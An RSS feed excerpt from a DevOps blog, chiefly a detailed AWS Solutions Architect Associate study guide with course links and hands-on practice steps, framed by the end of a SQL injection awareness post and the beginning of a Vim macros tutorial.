&lt;li&gt;&lt;p&gt;Self-defence - Building things with best practice in mind is a good direction. It sounds obvious, but it really isn't. Best practice mentality is great but it doesn't mean that every responsibility can be offloaded to a different layer. When it comes to security, especially to a vector that's responsible for the bast majority of web data leaks, one should know how to self defend. Familiarizing oneself with the attacks and the tooling can make the difference of a sensitive information leak.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;I hope that by now you're more familiar with SQLi risks and mitigations. Having attack vectors in mind helps us developers and operations protect the systems under our responsibility.&lt;/p&gt;

&lt;p&gt;I'll be making more of these posts, mainly around OWASP's top 10 vulnerabilities, so if you feel this has been helpful, stick around for more and &lt;a href="https://twitter.com/omergsr"&gt;let me know&lt;/a&gt; if you have any questions or feedback at all.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>sql</category>
    </item>
    <item>
      <title>How I studied for the AWS Solutions Architect Associate certification exam</title>
      <dc:creator>Meir Gabay</dc:creator>
      <pubDate>Tue, 24 Mar 2020 08:20:26 +0000</pubDate>
      <link>https://forem.com/prodopsio/how-i-studied-for-the-aws-solutions-architect-associate-certification-exam-5aba</link>
      <guid>https://forem.com/prodopsio/how-i-studied-for-the-aws-solutions-architect-associate-certification-exam-5aba</guid>
      <description>&lt;p&gt;In this blog post, I'm going to share how I studied, step-by-step, for the &lt;a href="https://aws.amazon.com/certification/certified-solutions-architect-associate/"&gt;AWS Solutions Architect Associate&lt;/a&gt; certification exam.&lt;/p&gt;

&lt;p&gt;And of course, due to COVID19, AWS is taking care of its learners - &lt;a href="https://aws.amazon.com/certification/faqs/"&gt;AWS Certification FAQs&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  DISCLAIMER
&lt;/h1&gt;

&lt;p&gt;Make sure you cover all the topics that are in the official &lt;a href="https://d1.awsstatic.com/training-and-certification/docs-sa-assoc/AWS_Certified_Solutions_Architect_Associate-Exam_Guide_1.8.pdf"&gt;AWS Certified Solutions Architect Associate Exam Guide&lt;/a&gt;, read more about it &lt;a href="https://aws.amazon.com/certification/certified-solutions-architect-associate/"&gt;here&lt;/a&gt;. I passed the exam in Sep-2019, and it might have changed a little bit since then.&lt;/p&gt;

&lt;h1&gt;
  
  
  Intro
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;It took me &lt;strong&gt;about 2-3 weeks&lt;/strong&gt; to study&lt;/li&gt;
&lt;li&gt;I studied for about &lt;strong&gt;4-5 hours a day&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;I had minor experience in AWS with EC2 and S3 before I started studying&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skim through&lt;/strong&gt; all the topics &lt;strong&gt;before you start studying&lt;/strong&gt;. It took me time to realize the best way for me to study, but it doesn't mean that it's the best way for you&lt;/li&gt;
&lt;li&gt;Content switching - I didn't want to learn one topic, and then learn a whole new topic, which will probably make me forget the previous topic. So I learned all of the topics bit by bit, which also helped me realize how different services can work together&lt;/li&gt;
&lt;li&gt;Learning for this type of exam is difficult, so if you're having a hard time, don't worry about it, in your 2nd week of learning, it will get much easier&lt;/li&gt;
&lt;li&gt;Learn with your mobile phone - I found it best to read most of the FAQs and official docs using my mobile phone in my spare time&lt;/li&gt;
&lt;li&gt;Here's my &lt;a href="https://www.youracclaim.com/badges/4deaade1-14b1-4019-a9a3-0a8e675ccc6a"&gt;Social Badge&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;If you wonder how the badge looks like in a Linkedin profile, you can check mine - &lt;a href="https://www.linkedin.com/in/meirg/"&gt;linkedin.com/in/meirg&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  Getting Started
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://portal.aws.amazon.com/billing/signup?redirect_url=https%3A%2F%2Faws.amazon.com%2Fregistration-confirmation#/start"&gt;Create an AWS account&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/getting-started_create-admin-group.html"&gt;Create an IAM admin role&lt;/a&gt;, from now on, use only this role to perform any future actions in your AWS account&lt;/li&gt;
&lt;li&gt;Register for &lt;a href="https://www.udemy.com/course/aws-certified-solutions-architect-associate/"&gt;AWS Certified Solutions Architect - Associate 2020&lt;/a&gt; by &lt;a href="https://www.linkedin.com/in/acloudguru/?originalSubdomain=uk"&gt;Ryan Kroonenburg&lt;/a&gt; and &lt;a href="https://www.linkedin.com/in/fayeellis/?originalSubdomain=uk"&gt;Faye Ellis&lt;/a&gt;. Original price is 179 USD so wait for it to be on sale, you can get if for 14-18 USD&lt;/li&gt;
&lt;li&gt;Complete the above course, including the quizzes

&lt;ul&gt;
&lt;li&gt;The course duration is 14.5 hours (excluding quizzes and exams), so to save time, set the videos speed to

&lt;ul&gt;
&lt;li&gt;x1.25 - 11.6 hours&lt;/li&gt;
&lt;li&gt;x1.5  - 9.7  hours&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;(Optional) If you have prior knowledge, take the Practice Exam 1 to understand your knowledge gaps, it's under Good Luck &amp;amp; What's Next&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  This Guide's Structure
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Even though you've already completed the Udemy course, I'm still going to put references to specific lectures that you should watch again to strengthen your knowledge&lt;/li&gt;
&lt;li&gt;Legend

&lt;ul&gt;
&lt;li&gt;📚 - Official AWS docs/tutorials&lt;/li&gt;
&lt;li&gt;📘 - Non-official docs/tutorials&lt;/li&gt;
&lt;li&gt;📺 - Watch lecture(s) in the Udemy course&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  VPC - Basics
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Create a custom VPC - go through the following scenarios

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario1.html"&gt;Scenario 1: VPC with a Single Public Subnet&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html"&gt;Scenario 2: VPC with Public and Private Subnets (NAT)&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Don’t create a NAT Instance or a NAT Gateway, but make sure you understand how they work&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-comparison.html"&gt;Differences between NAT Instance and NAT Gateway&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Route53
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 Route53 &amp;gt; all lectures

&lt;ol&gt;
&lt;li&gt;Understand what are DNS records, notably: A, SOA, NS, CNAME, and MX&lt;/li&gt;
&lt;li&gt;Get familiar with all available Routing policies&lt;/li&gt;
&lt;li&gt;(Optional) Register your domain directly from the AWS Route53 console&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  VPC - Subnets
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📘 &lt;a href="https://www.digitalocean.com/community/tutorials/understanding-ip-addresses-subnets-and-cidr-notation-for-networking"&gt;Understanding IP Addresses, Subnets, and CIDR Notation for Networking&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Practice on Subnets by using the CIDR calculator at &lt;a href="https://cidr.xyz"&gt;www.cidr.xyz&lt;/a&gt; and create Subnets in your custom VPC

&lt;ol&gt;
&lt;li&gt;How many IP addresses are reserved by AWS?&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  VPC - EC2
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 EC2 &amp;gt; all lectures&lt;/li&gt;
&lt;li&gt;📚 Read more about &lt;a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html"&gt;IAM&lt;/a&gt; and &lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html"&gt;EC2 instance roles&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Practice
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;Create an IAM role and attach it to your EC2 instance&lt;/li&gt;
&lt;li&gt;SSH to an EC2 instance and install AWS CLI on your instance&lt;/li&gt;
&lt;li&gt;Run aws s3 ls on the instance and make sure that it works&lt;/li&gt;
&lt;li&gt;Use the instance’s meta-data to figure out from the instance to which security groups it belongs to, hint: curl 169. …&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  By now you are familiar with
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Launch and configure EC2 instances&lt;/li&gt;
&lt;li&gt;Elastic Block Store (EBS)&lt;/li&gt;
&lt;li&gt;Subnets, IP Addresses, CIDR and Subnetmask&lt;/li&gt;
&lt;li&gt;Route Tables&lt;/li&gt;
&lt;li&gt;Internet Gateway (igw)&lt;/li&gt;
&lt;li&gt;Elastic IP (eip)&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/VPC_NAT_Instance.html"&gt;NAT Instances&lt;/a&gt; (bastion) (💬 AMI name contains amzn-ami-vpc-nat)&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html"&gt;NAT Gateway&lt;/a&gt; (ngw)&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html"&gt;Security Group&lt;/a&gt; (sg) - this topic is very important, so make sure you do a lot of practice&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/vpc-network-acls.html"&gt;Network Access Control List&lt;/a&gt; (NACL)&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html"&gt;Identity Access Management&lt;/a&gt; (IAM) - Users, Groups, Roles, and Policies&lt;/li&gt;
&lt;li&gt;Route53 and DNS records&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  VPC - Peering
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Go over the following scenarios

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/example-vpc-share.html"&gt;Example: Sharing Public Subnets and Private Subnets&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/vpc-peer-region-example.html"&gt;Example: Services Using AWS PrivateLink and VPC Peering&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;IMPORTANT&lt;/strong&gt;! Don't skip the above topic; it may appear in the exam&lt;/p&gt;

&lt;h2&gt;
  
  
  VPC - ENI
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html"&gt;Elastic Network Interface&lt;/a&gt; (ENI)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: No need to practice on adding a secondary ENI to your instance, if you do, make sure you take a snapshot before doing it&lt;/p&gt;

&lt;h2&gt;
  
  
  VPC - Flow Logs
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html"&gt;VPC Flow Logs&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Practice
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs-cwl.html"&gt;Publish Flow Logs to CloudWatch&lt;/a&gt;, and keep in mind that it takes up to 10 minutes to get the initial Log Stream, so be patient&lt;/li&gt;
&lt;li&gt;(Optional) 📚 &lt;a href="https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/QuickStartEC2Instance.html"&gt;Install the Agent on a Running EC2 Linux Instance&lt;/a&gt;

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstancesLinux.html"&gt;SSH to your EC2 instance&lt;/a&gt;, install and configure AWS Logs&lt;/li&gt;
&lt;li&gt;View the Log stream in CloudWatch Logs, what’s the name of the FlowGroup?&lt;/li&gt;
&lt;li&gt;Stop the awslogs service and remove the FlowGroup from the file /var/awslogs/etc/awslogs.conf&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Storage - S3
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/gsg/GetStartedWithS3.html"&gt;Simple Storage Service&lt;/a&gt; (S3)&lt;/li&gt;
&lt;li&gt;📺 S3 &amp;gt; Identity Access Management &amp;gt; from IAM 101 to Transfer Acceleration&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Practice
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;Create a bucket in S3 and Publish Flow Logs

&lt;ol&gt;
&lt;li&gt;SSH to your EC2 instance&lt;/li&gt;
&lt;li&gt;Copy one of the logs from your S3 bucket to the EC2 instance&lt;/li&gt;
&lt;li&gt;Extract the log from gz and read it, cool, huh? :)&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-create-a-trail-using-the-console-first-time.html"&gt;Creating a Trail&lt;/a&gt;

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/logging_cw_api_calls.html"&gt;Logging Amazon CloudWatch API Calls with AWS CloudTrail&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Turn off the Logging in the trail&lt;/li&gt;
&lt;li&gt;Disable AWS Cloudwatch alarm and delete VPC Flow Log - do it without removing the alarm, hint: possible only with aws-cli&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  VPC - Nat Gateway
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html"&gt;Nat Gateway&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Practice
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html#VPC_Scenario2_Security"&gt;Implement Scenario 2 and apply the NATSG: Recommended Rules&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;SSH to private instance and run: curl &lt;a href="http://ifconfig.co"&gt;http://ifconfig.co&lt;/a&gt;, the returned IP should be the NAT Gateway Elastic IP (EIP)&lt;/li&gt;
&lt;li&gt;Delete the Nat Gateway and release the Nat Gateway's EIP&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  VPC - Direct Connect and VPC End Points
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 VPCs &amp;gt; Direct Connect&lt;/li&gt;
&lt;li&gt;📺 VPCs &amp;gt; VPC End Points&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Storage - Storage Gateway
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 Identity Access Management &amp;amp; S3 &amp;gt; Storage Gateway

&lt;ol&gt;
&lt;li&gt;File Gateway&lt;/li&gt;
&lt;li&gt;Stored Volumes and Cached Volumes&lt;/li&gt;
&lt;li&gt;Tape Gateway&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Storage - Snowball
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 Snowball Overview and Snowball Lab

&lt;ol&gt;
&lt;li&gt;Snowball&lt;/li&gt;
&lt;li&gt;Snowball Edge&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;Know the answer to - when should I use it?&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  EC2 - Placement Groups
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 EC2 &amp;gt; EC2 Placement Groups&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html#concepts-placement-groups"&gt;Placement Groups&lt;/a&gt;

&lt;ol&gt;
&lt;li&gt;Clustered Placement Group&lt;/li&gt;
&lt;li&gt;Partition Placement Group&lt;/li&gt;
&lt;li&gt;Spread Placement Group&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  EC2 - Bootstrap Scripts and instance Meta Data
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 EC2 &amp;gt; Using Boot Strap Scripts&lt;/li&gt;
&lt;li&gt;📺 EC2 &amp;gt; EC2 Instance Meta Data&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Databases
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 Databases On AWS &amp;gt; all lectures&lt;/li&gt;
&lt;li&gt;Understand the difference between Multi-AZ vs. Read Replicas&lt;/li&gt;
&lt;li&gt;Get a deeper understanding of the following types of databases

&lt;ol&gt;
&lt;li&gt;DynamoDB&lt;/li&gt;
&lt;li&gt;Redshift and Redshift Spectrum&lt;/li&gt;
&lt;li&gt;Aurora&lt;/li&gt;
&lt;li&gt;Elasticache&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;Understand how to increase the performance of each DB&lt;/li&gt;
&lt;li&gt;Understand the basics of high availability architecture of DBs&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  VPC - Load Balancers
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 HA Architecture &amp;gt; from Load Balancers Theory to Advanced Load Balancer Theory&lt;/li&gt;
&lt;li&gt;Understand the differences between Classic/App/Net Load Balancers&lt;/li&gt;
&lt;li&gt;Make sure you know the answer to - what are Health checks?&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Theoretical - High Availability Architecture
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 HA Architecture &amp;gt; from Autoscaling Groups Lab to HA Architecture Quiz&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/autoscaling/ec2/userguide/AutoScalingGroup.html"&gt;Autoscaling Groups&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Theoretical - Other Services
&lt;/h2&gt;

&lt;p&gt;Get familiar with the following applications and services.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;📺 Watch the lectures in Udemy&lt;/li&gt;
&lt;li&gt;CloudFormation&lt;/li&gt;
&lt;li&gt;Elastic Beanstalk - get familiar with&lt;/li&gt;
&lt;li&gt;Lightsail&lt;/li&gt;
&lt;li&gt;SQS - Super important, especially the short/long polling&lt;/li&gt;
&lt;li&gt;MQ&lt;/li&gt;
&lt;li&gt;SWF&lt;/li&gt;
&lt;li&gt;SNS - Make sure you know the 📚 &lt;a href="https://docs.aws.amazon.com/general/latest/gr/aws_service_limits.html"&gt;limits&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Elastic Transcoder&lt;/li&gt;
&lt;li&gt;API Gateway - Super important&lt;/li&gt;
&lt;li&gt;Kinesis - What are the differences between

&lt;ol&gt;
&lt;li&gt;Kinesis Streams&lt;/li&gt;
&lt;li&gt;Kinesis Firehose&lt;/li&gt;
&lt;li&gt;Kinesis Analytics&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;Web Identity Federation and Cognito

&lt;ol&gt;
&lt;li&gt;User pools&lt;/li&gt;
&lt;li&gt;Identity pool&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;CloudFront and Edge Locations - Super important&lt;/li&gt;
&lt;li&gt;Macie&lt;/li&gt;
&lt;li&gt;ElasticSearch - 📘 &lt;a href="https://dzone.com/articles/what-is-elasticsearch-and-how-it-can-be-useful"&gt;Use Case 1&lt;/a&gt;, 📘 &lt;a href="https://marutitech.com/elasticsearch-can-helpful-business/"&gt;Use Case 2&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;And any other services that appear in the Udemy course&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Theoretical - Serverless
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;📺 Serverless &amp;gt; all lectures&lt;/li&gt;
&lt;li&gt;Make sure you fully understand how the following services work

&lt;ol&gt;
&lt;li&gt;S3&lt;/li&gt;
&lt;li&gt;Lambda Functions&lt;/li&gt;
&lt;li&gt;DynamoDB&lt;/li&gt;
&lt;li&gt;Aurora Serverless&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Practice
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;Create a Lambda Function and invoke functions with HTTP requests by using API Gateway&lt;/li&gt;
&lt;li&gt;Which triggers are available for Lambda Functions?&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-create-api-as-simple-proxy-for-lambda.html"&gt;Create an API Gateway and a Lambda&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Storage - S3, EBS and EFS
&lt;/h2&gt;

&lt;p&gt;Even though you read about S3, go over it again, it's a huge topic, and there are lots of questions about this topic&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;📺 S3 &amp;gt; from S3 101 to Transfer Acceleration

&lt;ol&gt;
&lt;li&gt;Different classes of S3 - Standard, IA, IA-Zone, Intelligent tiering&lt;/li&gt;
&lt;li&gt;Glacier and Glacier Deep Archive&lt;/li&gt;
&lt;li&gt;Security and encryption

&lt;ol&gt;
&lt;li&gt;SSE - S3&lt;/li&gt;
&lt;li&gt;SSE - KMS&lt;/li&gt;
&lt;li&gt;SSE - C&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;Client-side encryption and upload to S3&lt;/li&gt;
&lt;li&gt;Version control + MFA Delete&lt;/li&gt;
&lt;li&gt;Lifecycle management&lt;/li&gt;
&lt;li&gt;Cross-Region Replication&lt;/li&gt;
&lt;li&gt;Transfer Acceleration - Uses CloudFront&lt;/li&gt;
&lt;li&gt;📚 &lt;a href="https://aws.amazon.com/s3/faqs/"&gt;S3 FAQ&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;📺 EC2 &amp;gt; from EBS 101 to AMI Types (EBS vs Instance Store) and Elastic File System&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Practice
&lt;/h4&gt;

&lt;p&gt;This exercise only covers KMS, since it's a difficult topic, but feel free to also practice the other topics&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create another IAM user, call it developer, grant this user full admin access (don’t switch to this user)&lt;/li&gt;
&lt;li&gt;Create a key in KMS and allow only to your current admin user to use this key (developer can’t use it)&lt;/li&gt;
&lt;li&gt;Create a Lambda Function from scratch and add random environment variables&lt;/li&gt;
&lt;li&gt;Encrypt the environment variables with the key you’ve created earlier&lt;/li&gt;
&lt;li&gt;Login with your developer user and view the Lambda Function, can you see the environment variables?&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Theoretical - Well-Architected Framework
&lt;/h2&gt;

&lt;p&gt;It's best to go over all the official &lt;a href="https://aws.amazon.com/architecture/well-architected/"&gt;AWS Docs&lt;/a&gt;, but since it's time-consuming, skim through the &lt;a href="https://d1.awsstatic.com/whitepapers/architecture/AWS_Well-Architected_Framework.pdf"&gt;Well-Architected Framework whitepaper&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Exams - Practice
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Make sure you completed all the quizzes in the Udemy course&lt;/li&gt;
&lt;li&gt;Take the practice exams Practice 1 and Practice 2 in the Udemy course&lt;/li&gt;
&lt;li&gt;Register for &lt;a href="https://www.udemy.com/course/aws-certified-solutions-architect-associate-amazon-practice-exams-saa-c02/"&gt;AWS Certified Solutions Architect Associate Practice Exams&lt;/a&gt;, Original price is about 40 USD , but you can get it for sale at 14-18 USD

&lt;ol&gt;
&lt;li&gt;Take as many exams as you can (the more, the merrier)&lt;/li&gt;
&lt;li&gt;Make sure you review the answers and explanations for each question, even if you answered correctly&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Useful Resources
&lt;/h2&gt;

&lt;p&gt;Skim through the following resources&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;📚 &lt;a href="https://aws.amazon.com/certification/certification-prep/"&gt;AWS Certification Preperation&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;📘 &lt;a href="https://tutorialsdojo.com/aws-cheat-sheets/"&gt;aws-cheat-sheet&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;📘 &lt;a href="https://www.whizlabs.com/blog/aws-certified-solutions-architect-associate-guide"&gt;A Complete Guide to AWS Certified Solutions Architect Associate Exam&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;📘 &lt;a href="https://www.toptal.com/aws-cloud-engineers/aws-certified-solutions-architect-exam-tips"&gt;Do Your Homework: 7 AWS Certified Solutions Architect Exam Tips
&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  AWS Solutions Architect Associate certification exam
&lt;/h2&gt;

&lt;p&gt;By now you should be ready to take the exam!&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;💪 Take the &lt;a href="https://www.aws.training/Certification"&gt;AWS official practice exam&lt;/a&gt; (20 USD)&lt;/li&gt;
&lt;li&gt;❓ If there's any topic that you're still not comfortable with, read the docs and FAQs. Feel free to comment to this blog post with questions!&lt;/li&gt;
&lt;li&gt;🎉 Take the official &lt;a href="https://www.aws.training/Certification"&gt;AWS certification exam&lt;/a&gt; (150 USD)&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Final words
&lt;/h2&gt;

&lt;p&gt;Once you get the hang of it, it's fun to learn about AWS and use its services. I hope that this blog post helped you to design your learning path for this exam, and if it did, then 👏/💟/🐴 and share!&lt;/p&gt;

</description>
      <category>aws</category>
      <category>certification</category>
      <category>exam</category>
      <category>guide</category>
    </item>
    <item>
      <title>Unleash the power of Vim Macros in 4 minutes</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Tue, 28 Jan 2020 16:59:42 +0000</pubDate>
      <link>https://forem.com/prodopsio/unleash-the-power-of-vim-macros-in-4-minutes-35a8</link>
      <guid>https://forem.com/prodopsio/unleash-the-power-of-vim-macros-in-4-minutes-35a8</guid>
      <description>&lt;p&gt;In my &lt;a href=""&gt;first Vim post&lt;/a&gt; I had a long discussion with one of the readers over macros. He just couldn't get his head around the idea. As I was doing my best to explain, I realized that specific examples don't always go all the way in demonstrating an idea.&lt;/p&gt;

&lt;p&gt;This post will cover the what's and the why's as well as the practical way of doing things, but thanks to my fellow reader, it would also try to illustrate use-cases and situations; the &lt;strong&gt;how&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  What
&lt;/h2&gt;

&lt;p&gt;Vim's documentation calls this "Recording", which essentially is exactly what it does. Vim records a set of commands into a &lt;a href=""&gt;register&lt;/a&gt;, and then allows their execution and manipulation. A recorded macro can be executed once, or as many times as requested by prefixing it with the number of repetitions. It can be combined with other recorded macros by assigning multiple macros in a certain order into a new macro of its own. A macro can be read, edited, and written as well since it's just a representation of characters saved into a register in the memory.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why
&lt;/h2&gt;

&lt;p&gt;Macro recordings are a powerful tool to have under your belt as a Vim user. Developers tend to stumble upon repetitive work quite frequently. Knowing "how to handle" such repetitiveness is not only time saving but also enjoyable as you perfect your process. As a side effect, being able to "beat" the challenge keeps you in your flow of work and doesn't throw you into the occasional frustration that is usually part of doing something over and over fifty times.&lt;br&gt;
You'll be thankful the next time each line starting with a &lt;code&gt;|&lt;/code&gt; would require another &lt;code&gt;|&lt;/code&gt; after the &lt;strong&gt;third&lt;/strong&gt; space (a real scenario batteling markdown tables);&lt;/p&gt;


&lt;h2&gt;
  
  
  How
&lt;/h2&gt;

&lt;p&gt;98% of all Vim macros ever recorded (I totally made the number up) required two steps: &lt;strong&gt;recording&lt;/strong&gt; and &lt;strong&gt;execution&lt;/strong&gt;. The rest involved actually reading the sequence and even changing it, let's follow them by descending order of importance:&lt;/p&gt;
&lt;h4&gt;
  
  
  Recording
&lt;/h4&gt;

